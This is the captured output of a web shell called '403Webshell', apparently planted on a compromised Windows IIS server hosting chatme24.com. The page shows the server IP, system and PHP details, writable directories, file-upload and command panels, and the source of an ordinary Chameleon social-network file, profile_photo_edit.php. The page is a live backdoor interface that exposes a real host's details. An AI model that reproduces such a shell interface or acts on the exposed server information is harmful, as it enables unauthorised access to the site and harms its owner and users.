403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/update/update-chameleon-5.4-5.5/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/update/update-chameleon-5.4-5.5//profile_photo_edit.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

$area = "login";
include("./_include/core/main_start.php");
include("./_include/current/menu_section.class.php");

class CPhotoEdit extends CHtmlBlock
{
	function parseBlock(&$html)
	{
		global $g;
		global $g_user;


		if ($g['options']['music'] == "Y")
		{
			$html->parse("my_music", true);
		}

		if ($g['options']['blogs'] == "Y")
		{
			$html->parse("my_blog", true);
		}


		DB::query("SELECT photo_id, user_id, photo_name, description, visible FROM photo WHERE user_id=" . $g_user['user_id'] . " AND photo_id=" . to_sql(get_param("id", 0), "Number") . ";");

		if ($row = DB::fetch_row())
		{
			$html->setvar("photo_id", $row['photo_id']);
			$html->setvar("user_id", $row['user_id']);
			$html->setvar("photo_name", strip_tags($row['photo_name']));
			$html->setvar("description", strip_tags($row['description']));
			$html->setvar("photo", User::getPhotoProfile($row['photo_id'], 'b', guser('gender')));
			$html->setvar("visible", $row['visible'] == "N" ? "(pending audit)" : "");
            $html->setvar('profile_photo_description_length', Common::getOption('profile_photo_description_length'));
		}
		else
		{
			redirect("profile_photo.php");
		}

		parent::parseBlock($html);
	}
}

g_user_full();
$page = new CPhotoEdit("", $g['tmpl']['dir_tmpl_main'] . "profile_photo_edit.html");
$header = new CHeader("header", $g['tmpl']['dir_tmpl_main'] . "_header.html");
$page->add($header);
$footer = new CFooter("footer", $g['tmpl']['dir_tmpl_main'] . "_footer.html");
$page->add($footer);

$profile_menu = new CMenuSection("profile_menu", $g['tmpl']['dir_tmpl_main'] . "_profile_menu.html");
$profile_menu->setActive('photos');
$page->add($profile_menu);

$complite = new CComplite("complite", $g['tmpl']['dir_tmpl_main'] . "_complite.html");
$page->add($complite);

include("./_include/core/main_close.php");

?>

Youez - 2016 - github.com/yon3zu
LinuXploit